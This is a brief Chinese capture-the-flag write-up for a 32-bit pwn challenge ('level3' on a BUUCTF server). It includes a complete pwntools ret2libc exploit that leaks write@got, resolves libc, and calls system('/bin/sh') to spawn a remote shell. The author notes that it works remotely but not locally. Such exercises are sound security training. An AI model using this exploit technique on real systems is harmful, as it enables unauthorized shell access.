image.png
    栈不可执行，32位程序
    image.png
    这漏洞，太熟了，ret2libc3

    1. from pwn import *
    2. from LibcSearcher import* 
    3. context(log_level = 'debug')
    5. #io = process("level3")
    6. io = remote("node4.buuoj.cn",28740)
    7. #context.arch = "amd64"
    8. elf = ELF('level3')
    9. offest = 0x88
    10. write_got = elf.got['write']
    11. write_plt = elf.plt['write']
    12. main_addr = elf.sym['main']
    13. io.recvuntil("Input:\n")
    14. payload = b'a'*(offest+4) + p32(write_plt) + p32(main_addr) + p32(1)+p32(write_got)+p32(4)
    15. io.sendline(payload)
    16. write_addr = u32(io.recv(4))
    17. log.success('write_addr ==>'+hex(write_addr))
    18. libc = LibcSearcher("write",write_addr)
    19. libcbase =write_addr - libc.dump('write')
    20. system_addr =libcbase +libc.dump('system')
    21. bin_sh_addr =libcbase + libc.dump("str_bin_sh")
    22. io.recvuntil("Input:\n")
    23. payload1 = b'a' *(offest+4)+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)
    24. io.sendline(payload1)
    25. io.interactive()

    不过我每次本地都打不通，打服务器就打通了。。。。。。。。应该是libc的问题，，，，，